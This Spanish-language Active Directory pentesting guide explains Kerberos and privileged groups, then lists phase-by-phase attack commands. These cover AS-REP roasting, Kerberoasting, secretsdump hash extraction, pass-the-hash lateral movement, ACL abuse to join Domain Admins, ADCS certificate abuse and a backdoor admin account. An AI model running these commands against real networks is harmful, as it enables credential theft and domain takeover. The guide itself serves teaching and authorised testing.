Active Directory Parte 1

Diagrama de Flujo del Ataque

graph TD
    A[Enumeración Inicial] --> B[Obtención de Credenciales]
    B --> C[Movimiento Lateral]
    C --> D[Escalada de Privilegios]
    D --> E[Dominación del Dominio]

Fundamentos de Active Directory

¿Qué es Active Directory?

Active Directory (AD) es un servicio de directorio desarrollado por Microsoft. Se utiliza en redes empresariales para gestionar usuarios, equipos, grupos, y políticas de seguridad. Proporciona servicios de autenticación (validación de identidad) y autorización (control de acceso).

Conceptos clave:

  • Dominio: Estructura lógica que agrupa objetos (usuarios, grupos, equipos).

  • Controlador de Dominio (DC): Servidor que gestiona el AD y responde a solicitudes de autenticación.

  • LDAP: Protocolo de acceso a los datos del directorio.

  • Kerberos: Protocolo de autenticación por defecto en entornos AD.

Flujo de Autenticación Kerberos

  1. AS-REQ: El cliente solicita un TGT (Ticket Granting Ticket) al KDC (Key Distribution Center).

  2. AS-REP: El KDC verifica la identidad y entrega el TGT cifrado.

  3. TGS-REQ: El cliente usa el TGT para pedir un ticket de servicio (TGS).

  4. TGS-REP: El KDC entrega el TGS cifrado con la clave del servicio.

  5. AP-REQ: El cliente presenta el TGS al servicio y obtiene acceso.

Tipos de Tickets

Tipo
Nombre
Descripción
Utilidad para el atacante

TGT

Ticket Granting Ticket

Ticket de autenticación para pedir TGS

Permite persistencia sin necesidad de la contraseña

TGS

Ticket Granting Service

Acceso a servicios específicos

Puede extraerse y crackearse (Kerberoasting)

Componentes Importantes en AD

  • krbtgt: Cuenta que firma todos los tickets de Kerberos. Si se compromete, permite generar Golden Tickets.

  • SPN (Service Principal Name): Identifica servicios registrados en AD.

  • SID (Security Identifier): Identificador único para objetos.

  • UAC Flags: Atributos que modifican el comportamiento de las cuentas.

Grupos Privilegiados de Riesgo

Grupo
Riesgo

Domain Admins

Control total del dominio

Enterprise Admins

Control total del bosque

Schema Admins

Modifican el esquema de AD

DnsAdmins

Pueden ejecutar código en el DC

Backup Operators

Acceden a archivos sensibles (SAM/SYSTEM)

Print Operators

Pueden cargar DLLs maliciosas

Account Operators

Administran cuentas de usuario

UAC Flags Críticos

Flag
Valor
Descripción

UF_DONT_REQUIRE_PREAUTH

4194304

Permite AS-REP Roasting

UF_TRUSTED_FOR_DELEGATION

524288

Delegación no restringida

UF_SMARTCARD_REQUIRED

262144

Requiere autenticación con smartcard

ACLs Peligrosas

Permiso
Descripción
Riesgo

GenericAll

Control total sobre un objeto

Añadir usuarios a grupos privilegiados

WriteDACL

Modificar permisos de objetos

Escalada mediante manipulación de ACLs

ForceChangePassword

Cambiar contraseñas sin conocer la actual

Resetear cuenta privilegiada

AllExtendedRights

Incluye cambio de contraseña

Dominación sigilosa

Estructura Común de Active Directory

Tipos de Usuarios

  • Usuarios estándar: Cuentas de empleados comunes.

  • Usuarios privilegiados: Personal de IT con permisos ampliados.

  • Cuentas de servicio: Asociadas a servicios (por ejemplo, sqlsvc, backupsvc).

Grupos Relevantes

  • Domain Admins: Control total sobre el dominio.

  • Enterprise Admins: Control a nivel de bosque.

  • Server Operators: Acceso administrativo a servidores.

  • Print Operators: Potencial para cargar DLLs.

Tipos de Equipos

  • Workstations: Equipos de usuario final.

  • Servers: Infraestructura de aplicaciones.

  • Domain Controllers: Servidores críticos con roles de autenticación y directorio.

Objetos Especiales

  • GPOs (Group Policy Objects): Políticas aplicadas sobre usuarios y equipos.

  • OU (Organizational Units): Contenedores lógicos jerárquicos.

  • Sites: División lógica para segmentar físicamente entornos AD.

Flujo de Movimiento de un Pentester en AD

  1. Enumeración sin credenciales

  2. Obtención de credenciales iniciales (por phishing, AS-REP Roasting, Kerberoasting)

  3. Enumeración autenticada (BloodHound, ACLs, SPNs)

  4. Movimiento lateral (SMB, WinRM, Pass-the-Hash)

  5. Escalada de privilegios

  6. Dominación del dominio (Golden Ticket, DCSync, Skeleton Key)

Acciones según lo descubierto

  • Tickets TGT válidos: Se pueden usar para solicitar TGS y acceder a servicios.

  • SPNs expuestos: Posibilidad de realizar Kerberoasting.

  • Cuentas sin preautenticación: Objetivo para AS-REP Roasting.

  • Permisos de grupo detectados: Añadirte a grupos privilegiados si es posible.

  • Delegaciones configuradas: Impersonación de usuarios con getST.py.

Requisitos Previos

  • Acceso inicial (por ejemplo, shell o cuenta limitada).

  • Conectividad a una red con AD.

  • Kali Linux con herramientas instaladas:

    • impacket, bloodhound, neo4j, ldapdomaindump, smbmap, enum4linux-ng, rpcclient, crackmapexec, kerbrute, evil-winrm

    • Herramientas ofensivas: responder, mitm6, ntlmrelayx, certipy, chisel, ligolo-ng, hashcat, john

Fases Técnicas

Fase 1: Descubrimiento de red

nmap -Pn -n -sS -p 88,135,139,389,445,593,636,3268,3269 -T4 10.10.0.0/24 -oA ad_hosts

Identificación del DC:

nmap -p88 --script=krb5-enum-users <IP>
nslookup
> set type=SRV
> _ldap._tcp.dc._msdcs.dominio.local

Fase 2: Enumeración sin credenciales

enum4linux-ng <IP>
smbmap -H <IP>
smbclient -L //<IP> -N
rpcclient -U "" -N <IP>

LDAP sin autenticación:

ldapsearch -x -H ldap://<IP> -b "dc=dominio,dc=local"
ldapdomaindump ldap://<IP> --no-auth

Fase 3: Enumeración de usuarios

kerbrute userenum -d dominio.local users.txt --dc <IP>

Fase 4: AS-REP Roasting

GetNPUsers.py dominio.local/ -no-pass -usersfile valid_users.txt -dc-ip <IP>
hashcat -m 18200 hash.txt rockyou.txt --force

Fase 5: Kerberoasting

GetUserSPNs.py dominio.local/usuario:password -dc-ip <IP>
hashcat -m 13100 hash.txt rockyou.txt --force

Fase 6: Extracción de información autenticada

ldapdomaindump ldap://<IP> -u dominio\\usuario -p contraseña

Fase 7: Extracción de hashes

secretsdump.py dominio.local/usuario:contraseña@<IP>
# o con hash
secretsdump.py dominio.local/usuario@<IP> -hashes :<NTLMHASH>

Fase 8: Movimiento lateral

psexec.py dominio.local/usuario:pass@<IP>
smbexec.py dominio.local/usuario:pass@<IP>
wmiexec.py dominio.local/usuario@<IP> -hashes :<NTLM>

WinRM:

evil-winrm -i <IP> -u usuario -p contraseña
# o con hash
-H <NTLMHASH>

Fase 9: BloodHound

Recolectar desde Windows:

Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -ZipFileName loot.zip

Desde Kali:

bloodhound-python -u usuario -p contraseña -d dominio.local -dc-ip <IP> --collection ALL

Fase 10: Abuso de Delegaciones

Constrained Delegation:

getST.py -spn cifs/servidor.dominio.local -impersonate objetivo dominio.local/usuario:pass -dc-ip <IP>
psexec.py -k -no-pass dominio.local/objetivo@servidor

Unconstrained Delegation:

  • Usar Mimikatz (sekurlsa::tickets) para extraer TGT.

Fase 11: Abuso de ACLs

Añadir miembro a grupo:

net rpc group addmem "Domain Admins" usuario -S <IP> -U atacante%contraseña

Cambiar contraseña de otra cuenta:

net rpc changepassword victima -U atacante%pass -S <IP>

Fase 12: Ataques a ADCS

Enumerar:

certipy find -u usuario -p contraseña -target <IP> -dc-ip <IP>

Solicitar certificado abusando de plantilla vulnerable:

certipy req -u usuario -p pass -ca ca.nombre.local -template vulnerable_template -dc-ip <IP> -target <IP>

Persistencia y Limpieza

Crear cuenta:

net user backdoor Pass123! /add
net localgroup "Administradores" backdoor /add

Eliminar evidencia:

net user backdoor /del

Recursos

  • Añade entradas al /etc/hosts si es necesario para resolver nombres internos.

  • Usa klist, ktutil, export KRB5CCNAME para manejar tickets Kerberos.

  • Apóyate en herramientas como ticketConverter.py, getST.py, BloodHound y Certipy.

Last updated

Was this helpful?